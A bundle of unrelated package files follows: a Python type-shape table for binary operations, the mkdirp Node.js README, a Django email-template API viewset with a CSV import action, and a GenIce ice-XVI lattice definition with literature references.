sub_shapes_set[tshape_frozenset] = operation_result_set_noescape
bitor_shapes_set.update(bitor_shapes_none)
bitor_shapes_set[tshape_set] = operation_result_set_noescape
bitor_shapes_set[tshape_frozenset] = operation_result_set_noescape
bitand_shapes_set.update(
cloneWithUnsupportedChange(bitor_shapes_set, operation_result_unsupported_bitand)
)
bitxor_shapes_set.update(
cloneWithUnsupportedChange(bitor_shapes_set, operation_result_unsupported_bitxor)
)
add_shapes_frozenset.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Sets to do not multiply
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
# Unsupported:
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_frozenset.update(sub_shapes_set)
sub_shapes_frozenset[tshape_set] = operation_result_frozenset_noescape
sub_shapes_frozenset[tshape_frozenset] = operation_result_frozenset_noescape
bitor_shapes_frozenset.update(bitor_shapes_none)
bitor_shapes_frozenset[tshape_set] = operation_result_frozenset_noescape
bitor_shapes_frozenset[tshape_frozenset] = operation_result_frozenset_noescape
bitand_shapes_frozenset.update(
cloneWithUnsupportedChange(
bitor_shapes_frozenset, operation_result_unsupported_bitand
)
)
bitxor_shapes_frozenset.update(
cloneWithUnsupportedChange(
bitor_shapes_frozenset, operation_result_unsupported_bitxor
)
)
add_shapes_dict.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Sets to do not multiply
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
add_shapes_str.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_str_noescape,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_bytearray_noescape
if python_version < 0x300
else operation_result_unsupported_add,
tshape_unicode: operation_result_unicode_noescape,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
mult_shapes_str.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_str_noescape,
tshape_long: operation_result_str_noescape,
tshape_int_or_long: operation_result_str_noescape,
tshape_bool: operation_result_str_noescape,
tshape_float: operation_result_unsupported_mul,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
mod_shapes_str.update(
{
# Standard, TODO: should be string, but may escape with exception.
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# str formatting with all kinds of values
tshape_int: operation_result_str_formaterror,
tshape_long: operation_result_str_formaterror,
tshape_int_or_long: operation_result_str_formaterror,
tshape_bool: operation_result_str_formaterror,
tshape_float: operation_result_str_formaterror,
tshape_str: operation_result_str_formaterror,
tshape_bytes: operation_result_str_formaterror,
tshape_bytearray: operation_result_str_formaterror,
tshape_unicode: operation_result_str_formaterror,
tshape_tuple: operation_result_str_formaterror,
tshape_list: operation_result_str_formaterror,
tshape_set: operation_result_str_formaterror,
tshape_frozenset: operation_result_str_formaterror,
tshape_dict: operation_result_str_formaterror,
tshape_type: operation_result_str_formaterror,
tshape_none: operation_result_str_formaterror,
}
)
add_shapes_bytes.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_bytes_noescape,
tshape_bytearray: operation_result_bytearray_noescape,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
mult_shapes_bytes.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_bytes_noescape,
tshape_long: operation_result_bytes_noescape,
tshape_int_or_long: operation_result_bytes_noescape,
tshape_bool: operation_result_bytes_noescape,
tshape_float: operation_result_unsupported_mul,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
if python_version < 0x350:
operation_result_350_bytes_mod_noescape = operation_result_unsupported_mod
else:
operation_result_350_bytes_mod_noescape = operation_result_bytes_formaterror
mod_shapes_bytes.update(
{
# Standard, TODO: should be string, but may escape with exception.
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# bytes formatting with all kinds of values
tshape_int: operation_result_350_bytes_mod_noescape,
tshape_bool: operation_result_350_bytes_mod_noescape,
tshape_float: operation_result_350_bytes_mod_noescape,
tshape_bytes: operation_result_350_bytes_mod_noescape,
tshape_bytearray: operation_result_350_bytes_mod_noescape,
tshape_unicode: operation_result_350_bytes_mod_noescape,
tshape_tuple: operation_result_350_bytes_mod_noescape,
tshape_list: operation_result_350_bytes_mod_noescape,
tshape_set: operation_result_350_bytes_mod_noescape,
tshape_frozenset: operation_result_350_bytes_mod_noescape,
tshape_dict: operation_result_350_bytes_mod_noescape,
tshape_type: operation_result_350_bytes_mod_noescape,
tshape_none: operation_result_350_bytes_mod_noescape,
}
)
add_shapes_bytearray.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_bytearray_noescape
if python_version < 0x300
else operation_result_unsupported_add,
tshape_bytes: operation_result_bytearray_noescape,
tshape_bytearray: operation_result_bytearray_noescape,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
mult_shapes_bytearray.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_bytearray_noescape,
tshape_long: operation_result_bytearray_noescape,
tshape_int_or_long: operation_result_bytearray_noescape,
tshape_bool: operation_result_bytearray_noescape,
tshape_float: operation_result_unsupported_mul,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
if python_version < 0x350:
operation_result_350_bytearray_mod_noescape = operation_result_unsupported_mod
else:
operation_result_350_bytearray_mod_noescape = operation_result_bytearray_formaterror
mod_shapes_bytearray.update(
{
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# bytes formatting with all kinds of values
tshape_int: operation_result_350_bytearray_mod_noescape,
tshape_bool: operation_result_350_bytearray_mod_noescape,
tshape_float: operation_result_350_bytearray_mod_noescape,
tshape_bytes: operation_result_350_bytearray_mod_noescape,
tshape_bytearray: operation_result_350_bytearray_mod_noescape,
tshape_unicode: operation_result_350_bytearray_mod_noescape,
tshape_tuple: operation_result_350_bytearray_mod_noescape,
tshape_list: operation_result_350_bytearray_mod_noescape,
tshape_set: operation_result_350_bytearray_mod_noescape,
tshape_frozenset: operation_result_350_bytes_mod_noescape,
tshape_dict: operation_result_350_bytearray_mod_noescape,
tshape_type: operation_result_350_bytearray_mod_noescape,
tshape_none: operation_result_350_bytearray_mod_noescape,
}
)
add_shapes_unicode.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_unicode_noescape,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unicode_noescape,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
mult_shapes_unicode.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unicode_noescape,
tshape_long: operation_result_unicode_noescape,
tshape_int_or_long: operation_result_unicode_noescape,
tshape_bool: operation_result_unicode_noescape,
tshape_float: operation_result_unsupported_mul,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
mod_shapes_unicode.update(
{
# Standard, TODO: should be unicode, but may escape with exception.
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# str formatting with all kinds of values
tshape_int: operation_result_unicode_formaterror,
tshape_long: operation_result_unicode_formaterror,
tshape_int_or_long: operation_result_unicode_formaterror,
tshape_bool: operation_result_unicode_formaterror,
tshape_float: operation_result_unicode_formaterror,
tshape_str: operation_result_unicode_formaterror,
tshape_bytes: operation_result_unicode_formaterror,
tshape_bytearray: operation_result_unicode_formaterror,
tshape_unicode: operation_result_unicode_formaterror,
tshape_tuple: operation_result_unicode_formaterror,
tshape_list: operation_result_unicode_formaterror,
tshape_set: operation_result_unicode_formaterror,
tshape_frozenset: operation_result_unicode_formaterror,
tshape_dict: operation_result_unicode_formaterror,
tshape_type: operation_result_unicode_formaterror,
tshape_none: operation_result_unicode_formaterror,
}
)
def mergeStrOrUnicode(op_shapes_str, op_shapes_unicode):
r = {}
for key, value in op_shapes_str.items():
value2 = op_shapes_unicode[key]
if value is value2:
r[key] = value
elif value[0] is tshape_str_or_unicode and value2[0] is tshape_unicode:
assert value[1] is value2[1]
r[key] = value
elif value[0] is tshape_str and value2[0] is tshape_unicode:
# Actually as intended, pylint: disable=bad-chained-comparison
assert (
value[1]
is value2[1]
in (
operation_result_strorunicode_noescape[1],
ControlFlowDescriptionFormatError,
)
), (value, value2)
r[key] = operation_result_strorunicode_noescape
elif key == tshape_bytearray:
# They differ here on Python2
r[key] = operation_result_unknown
else:
assert False, (key, "->", value, "!=", value2)
return r
add_shapes_strorunicode.update(mergeStrOrUnicode(add_shapes_str, add_shapes_unicode))
sub_shapes_strorunicode.update(mergeStrOrUnicode(sub_shapes_str, sub_shapes_unicode))
mult_shapes_strorunicode.update(mergeStrOrUnicode(mult_shapes_str, mult_shapes_unicode))
floordiv_shapes_strorunicode.update(
mergeStrOrUnicode(floordiv_shapes_str, floordiv_shapes_unicode)
)
truediv_shapes_strorunicode.update(
mergeStrOrUnicode(truediv_shapes_str, truediv_shapes_unicode)
)
olddiv_shapes_strorunicode.update(
mergeStrOrUnicode(olddiv_shapes_str, olddiv_shapes_unicode)
)
mod_shapes_strorunicode.update(mergeStrOrUnicode(mod_shapes_str, mod_shapes_unicode))
divmod_shapes_strorunicode.update(
mergeStrOrUnicode(divmod_shapes_str, divmod_shapes_unicode)
)
pow_shapes_strorunicode.update(mergeStrOrUnicode(pow_shapes_str, pow_shapes_unicode))
lshift_shapes_strorunicode.update(
mergeStrOrUnicode(lshift_shapes_str, lshift_shapes_unicode)
)
rshift_shapes_strorunicode.update(
mergeStrOrUnicode(rshift_shapes_str, rshift_shapes_unicode)
)
bitor_shapes_strorunicode.update(
mergeStrOrUnicode(bitor_shapes_str, bitor_shapes_unicode)
)
bitand_shapes_strorunicode.update(
mergeStrOrUnicode(bitand_shapes_str, bitand_shapes_unicode)
)
bitxor_shapes_strorunicode.update(
mergeStrOrUnicode(bitxor_shapes_str, bitxor_shapes_unicode)
)
if python_version >= 0x390:
bitor_shapes_dict[tshape_dict] = operation_result_dict_noescape
ibitor_shapes_dict[tshape_dict] = operation_result_dict_noescape
ibitor_shapes_dict[tshape_tuple] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_list] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_set] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_frozenset] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_str] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_bytes] = operation_result_dict_valueerror
ibitor_shapes_dict[tshape_bytearray] = operation_result_dict_valueerror
class ShapeTypeBuiltinExceptionClass(
ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase
):
typical_value = None
tshape_exception_class = ShapeTypeBuiltinExceptionClass() | PypiClean |
/AyiinXd-0.0.8-cp311-cp311-macosx_10_9_universal2.whl/fipper/node_modules/mkdirp/readme.markdown |
Like `mkdir -p`, but in Node.js!
Now with a modern API and no\* bugs!
<small>\* may contain some bugs</small>
# example
## pow.js
```js
const mkdirp = require('mkdirp')
// return value is a Promise resolving to the first directory created
mkdirp('/tmp/foo/bar/baz').then(made =>
console.log(`made directories, starting with ${made}`))
```
Output (where `/tmp/foo` already exists)
```
made directories, starting with /tmp/foo/bar
```
Or, if you don't have time to wait around for promises:
```js
const mkdirp = require('mkdirp')
// return value is the first directory created
const made = mkdirp.sync('/tmp/foo/bar/baz')
console.log(`made directories, starting with ${made}`)
```
And now /tmp/foo/bar/baz exists, huzzah!
# methods
```js
const mkdirp = require('mkdirp')
```
## mkdirp(dir, [opts]) -> Promise<String | undefined>
Create a new directory and any necessary subdirectories at `dir` with octal
permission string `opts.mode`. If `opts` is a string or number, it will be
treated as the `opts.mode`.
If `opts.mode` isn't specified, it defaults to `0o777 &
(~process.umask())`.
Promise resolves to first directory `made` that had to be created, or
`undefined` if everything already exists. Promise rejects if any errors
are encountered. Note that, in the case of promise rejection, some
directories _may_ have been created, as recursive directory creation is not
an atomic operation.
You can optionally pass in an alternate `fs` implementation by passing in
`opts.fs`. Your implementation should have `opts.fs.mkdir(path, opts, cb)`
and `opts.fs.stat(path, cb)`.
You can also override just one or the other of `mkdir` and `stat` by
passing in `opts.stat` or `opts.mkdir`, or providing an `fs` option that
only overrides one of these.
## mkdirp.sync(dir, opts) -> String|null
Synchronously create a new directory and any necessary subdirectories at
`dir` with octal permission string `opts.mode`. If `opts` is a string or
number, it will be treated as the `opts.mode`.
If `opts.mode` isn't specified, it defaults to `0o777 &
(~process.umask())`.
Returns the first directory that had to be created, or undefined if
everything already exists.
You can optionally pass in an alternate `fs` implementation by passing in
`opts.fs`. Your implementation should have `opts.fs.mkdirSync(path, mode)`
and `opts.fs.statSync(path)`.
You can also override just one or the other of `mkdirSync` and `statSync`
by passing in `opts.statSync` or `opts.mkdirSync`, or providing an `fs`
option that only overrides one of these.
## mkdirp.manual, mkdirp.manualSync
Use the manual implementation (not the native one). This is the default
when the native implementation is not available or the stat/mkdir
implementation is overridden.
## mkdirp.native, mkdirp.nativeSync
Use the native implementation (not the manual one). This is the default
when the native implementation is available and stat/mkdir are not
overridden.
# implementation
On Node.js v10.12.0 and above, use the native `fs.mkdir(p,
{recursive:true})` option, unless `fs.mkdir`/`fs.mkdirSync` has been
overridden by an option.
## native implementation
- If the path is a root directory, then pass it to the underlying
implementation and return the result/error. (In this case, it'll either
succeed or fail, but we aren't actually creating any dirs.)
- Walk up the path statting each directory, to find the first path that
will be created, `made`.
- Call `fs.mkdir(path, { recursive: true })` (or `fs.mkdirSync`)
- If error, raise it to the caller.
- Return `made`.
## manual implementation
- Call underlying `fs.mkdir` implementation, with `recursive: false`
- If error:
- If path is a root directory, raise to the caller and do not handle it
- If ENOENT, mkdirp parent dir, store result as `made`
- stat(path)
- If error, raise original `mkdir` error
- If directory, return `made`
- Else, raise original `mkdir` error
- else
- return `undefined` if a root dir, or `made` if set, or `path`
## windows vs unix caveat
On Windows file systems, attempts to create a root directory (ie, a drive
letter or root UNC path) will fail. If the root directory exists, then it
will fail with `EPERM`. If the root directory does not exist, then it will
fail with `ENOENT`.
On posix file systems, attempts to create a root directory (in recursive
mode) will succeed silently, as it is treated like just another directory
that already exists. (In non-recursive mode, of course, it fails with
`EEXIST`.)
In order to preserve this system-specific behavior (and because it's not as
if we can create the parent of a root directory anyway), attempts to create
a root directory are passed directly to the `fs` implementation, and any
errors encountered are not handled.
## native error caveat
The native implementation (as of at least Node.js v13.4.0) does not provide
appropriate errors in some cases (see
[nodejs/node#31481](https://github.com/nodejs/node/issues/31481) and
[nodejs/node#28015](https://github.com/nodejs/node/issues/28015)).
In order to work around this issue, the native implementation will fall
back to the manual implementation if an `ENOENT` error is encountered.
# choosing a recursive mkdir implementation
There are a few to choose from! Use the one that suits your needs best :D
## use `fs.mkdir(path, {recursive: true}, cb)` if:
- You wish to optimize performance even at the expense of other factors.
- You don't need to know the first dir created.
- You are ok with getting `ENOENT` as the error when some other problem is
the actual cause.
- You can limit your platforms to Node.js v10.12 and above.
- You're ok with using callbacks instead of promises.
- You don't need/want a CLI.
- You don't need to override the `fs` methods in use.
## use this module (mkdirp 1.x) if:
- You need to know the first directory that was created.
- You wish to use the native implementation if available, but fall back
when it's not.
- You prefer promise-returning APIs to callback-taking APIs.
- You want more useful error messages than the native recursive mkdir
provides (at least as of Node.js v13.4), and are ok with re-trying on
`ENOENT` to achieve this.
- You need (or at least, are ok with) a CLI.
- You need to override the `fs` methods in use.
## use [`make-dir`](http://npm.im/make-dir) if:
- You do not need to know the first dir created (and wish to save a few
`stat` calls when using the native implementation for this reason).
- You wish to use the native implementation if available, but fall back
when it's not.
- You prefer promise-returning APIs to callback-taking APIs.
- You are ok with occasionally getting `ENOENT` errors for failures that
are actually related to something other than a missing file system entry.
- You don't need/want a CLI.
- You need to override the `fs` methods in use.
## use mkdirp 0.x if:
- You need to know the first directory that was created.
- You need (or at least, are ok with) a CLI.
- You need to override the `fs` methods in use.
- You're ok with using callbacks instead of promises.
- You are not running on Windows, where the root-level ENOENT errors can
lead to infinite regress.
- You think vinyl just sounds warmer and richer for some weird reason.
- You are supporting truly ancient Node.js versions, before even the advent
of a `Promise` language primitive. (Please don't. You deserve better.)
# cli
This package also ships with a `mkdirp` command.
```
$ mkdirp -h
usage: mkdirp [DIR1,DIR2..] {OPTIONS}
Create each supplied directory including any necessary parent directories
that don't yet exist.
If the directory already exists, do nothing.
OPTIONS are:
-m<mode> If a directory needs to be created, set the mode as an octal
--mode=<mode> permission string.
-v --version Print the mkdirp version number
-h --help Print this helpful banner
-p --print Print the first directories created for each path provided
--manual Use manual implementation, even if native is available
```
# install
With [npm](http://npmjs.org) do:
```
npm install mkdirp
```
to get the library locally, or
```
npm install -g mkdirp
```
to get the command everywhere, or
```
npx mkdirp ...
```
to run the command without installing it globally.
# platform support
This module works on node v8, but only v10 and above are officially
supported, as Node v8 reached its LTS end of life 2020-01-01, which is in
the past, as of this writing.
# license
MIT | PypiClean |
/CCC-2.0.1.tar.gz/CCC-2.0.1/ccc/marketing/emailtemplates/api/views.py | import logging
from django.conf import settings
from rest_framework.decorators import action
from rest_framework.response import Response
from rest_framework.viewsets import ModelViewSet
from ccc.campaigns.models import CampaignEmailTemplate
from ccc.marketing.emailtemplates.api.serializers import (EmailTemplateSerializer,
TemplateDesignSerializer)
from ccc.mixin import AuthParsersMixin
from ccc.template_design.models import TemplateDesign
logger = logging.getLogger(__name__)
class EmailTemplateViewSet(AuthParsersMixin, ModelViewSet):
""" EmailTemplate to get premium template pass parameter as <api>?premium=true
and to get recommended email template pass parameter as <api>?recommended=true"""
serializer_class = EmailTemplateSerializer
queryset = CampaignEmailTemplate.objects.all().order_by('-date_created')
order_by = 'id'
def get_serializer_class(self):
if self.request.query_params.get('premium') or self.request.query_params.get('recommended'):
return TemplateDesignSerializer
return self.serializer_class
def get_queryset(self):
if self.request.query_params.get('premium'):
self.query_set = TemplateDesign.objects.filter(user=self.request.user, is_active=True, is_public=False,
template_type='email').order_by('-created_at')
elif self.request.query_params.get('recommended'):
self.query_set = TemplateDesign.objects.filter(is_active=True, is_public=True,
template_type='email').order_by('-created_at')
else:
self.query_set = super(EmailTemplateViewSet, self).get_queryset()
return self.query_set
@action(methods=['get'], detail=False)
def transfer(self, request, *args, **kwargs):
# This view is to import all the old/existing templates, not really main function of the application
import csv
import os
from ccc.template_design.models import TemplateDesign
reader = csv.reader(open(os.path.join(settings.BASE_DIR, 'template_design_templatedesign.csv'), 'r'))
list_data = []
for row in reader:
dict_obj = {}
dict_obj.update({
'name': row[1],
'email_body': row[2],
'preview': row[3],
'is_active': True if row[4] == 't' else False,
'is_public': True if row[5] == 't' else False,
'template_type': row[10],
'json_data': row[11],
'user_id': 1
})
list_data.append(TemplateDesign(**dict_obj))
TemplateDesign.objects.bulk_create(list_data)
return Response({'status': 'success'}, status=200) | PypiClean |
/GenIce-1.0.11.tar.gz/GenIce-1.0.11/genice/lattices/CS2.py |
desc={"ref": {"ice 16": 'Falenty, A., Hansen, T. C. & Kuhs, W. F. Formation and properties of ice XVI obtained by emptying a type sII clathrate hydrate. Nature 516, 231-233 (2014).',
"C15": 'Dutour Sikirić, Mathieu, Olaf Delgado-Friedrichs, and Michel Deza. “Space Fullerenes: a Computer Search for New Frank-Kasper Structures” Acta Crystallographica Section A Foundations of Crystallography 66.Pt 5 (2010): 602–615.',
"sII": 'Jeffrey, G A. “Hydrate Inclusion Compounds.” Inclusion Compounds 1 (1984): 135–190.',
"CS2": 'Kosyakov, Viktor I, and T M Polyanskaya. “Using Structural Data for Estimating the Stability of Water Networks in Clathrate and Semiclathrate Hydrates.” Journal of Structural Chemistry 40.2 (1999): 239–245.',
"MTN": 'http://www.iza-structure.org/databases/'},
"usage": "No options available.",
"brief": "Ice XVI."
}
density = 0.81 #default density
bondlen = 1.1 #bond threshold
cell = """
6.20577 6.20577 6.20577
"""
waters = """
3.5250014754 5.4040465737 3.5250014754
4.2322110246 2.3011615737 1.1293260246
1.9735589754 5.7836535246 0.7497190737
5.7836535246 3.9046084263 2.6807685246
5.7836535246 5.7836535246 0.8017234263
2.3011615737 4.2322110246 1.1293260246
1.9735589754 3.8526040737 2.6807685246
5.0764439754 2.6807685246 0.7497190737
5.43004875 2.32716375 5.43004875
1.9735589754 3.9046084263 5.0764439754
2.6807685246 0.7497190737 5.0764439754
1.3526096292 1.3526096292 4.4554946292
3.9046084263 2.6807685246 5.7836535246
3.8526040737 2.6807685246 1.9735589754
0.8017234263 5.0764439754 5.0764439754
1.7502753708 4.8531603708 4.8531603708
2.6807685246 2.6807685246 0.8017234263
1.3526096292 0.1988328708 3.3017178708
3.8526040737 5.0764439754 5.7836535246
1.1293260246 5.4560509263 3.5250014754
1.1293260246 0.4221164754 2.3531659263
2.9040521292 2.9040521292 1.7502753708
5.7836535246 0.7497190737 1.9735589754
5.43004875 5.43004875 2.32716375
0.8017234263 2.6807685246 2.6807685246
1.1293260246 5.4040465737 1.1293260246
2.6807685246 5.7836535246 3.9046084263
0.7497190737 1.9735589754 5.7836535246
4.2322110246 0.4221164754 5.4560509263
5.0764439754 5.0764439754 0.8017234263
5.4560509263 0.4221164754 4.2322110246
6.0069371292 6.0069371292 1.7502753708
0.4221164754 4.2322110246 5.4560509263
4.4554946292 4.4554946292 4.4554946292
5.4040465737 1.1293260246 1.1293260246
3.3017178708 3.3017178708 4.4554946292
4.2322110246 5.4040465737 4.2322110246
